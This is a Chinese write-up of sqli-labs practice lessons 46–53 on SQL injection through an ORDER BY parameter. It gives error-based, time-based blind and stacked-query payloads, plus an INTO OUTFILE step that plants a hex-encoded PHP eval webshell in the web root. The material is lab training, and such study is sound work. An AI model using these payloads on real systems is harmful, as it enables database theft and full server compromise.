sql-lib闯关之lesson46-53

知识铺垫

SQL语句中,asc是指定列按升序排列,desc是指定列按照降序排列。
select * from users order by 1 desc;使用降序进行排列
select * from users order by 1 asc;使用升序进行排列。

Right()   select right (database(),1);

Left()    select left(database(),1);

lines terminated by xxx  每行以xxx为结尾(分割) 可以写入一句话木马


LESS46

 进入这关我们发现要使用sort为参数了,观察源码其实sort就是以前的id。

输入:?sort=1 asc --+  
也就是id进行升序排列。

 通过测试发现我们一开始的联合查询 union select 方法不能使用。

方法一:报错注入

输入:?sort=1 and updatexml(1,concat(0x7e,database()),1) --+

 输入:?sort=1 and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1) --+

 输入:?sort=1 and updatexml(1,concat(0x7e,(select username from security.users limit 0,1)),1) --+


方法二:时间注入

输入:?sort=1 and if(length(database())=8,1,sleep(5))--+

不推荐手动注入,可以使用脚本来,效率高。


LESS47

参数:‘1’

其他不变
LESS48

参数与46关相同,但是没有错误回显,所以只能使用时间盲注。
LESS49

参数变为‘1’ 类型同48相同。


LESS46-49关方法之一句话木马

以46关为例

输入:?sort=1 into outfile 'C:\phpstduy2018\PHPTutorial\WWW\sqli-labs-master\Less-46\1.php' lines terminated by 0x3c70687020406576616c28245f504f53545b2263726f77225d3b3f3e

 咱们不能用<php @eval($_POST["czs"];?>写是因为写不进去 是个空的 所以用知识铺垫的函数 进行16进制转换。

写入一句话木马就可以用菜刀连接了。


LESS50

其他三种方法同上

方法四:堆叠注入

输入:?sort=1;create table czs like users;insert into czs select * from users;

 

 这时我们发现新建的czs 与users 内容一样。
方法五:堆叠注入 写入一句话木马。


LESS51

参数 ‘1’
LESS52

无回显,不可以用报错注入。
LESS53

和50关基本相同,order by ’1‘语句数据包裹形式不同,而且没有输出报错信息的语句,所以不能用报错注入。

原文地址:https://www.cnblogs.com/c1047509362/p/12506957.html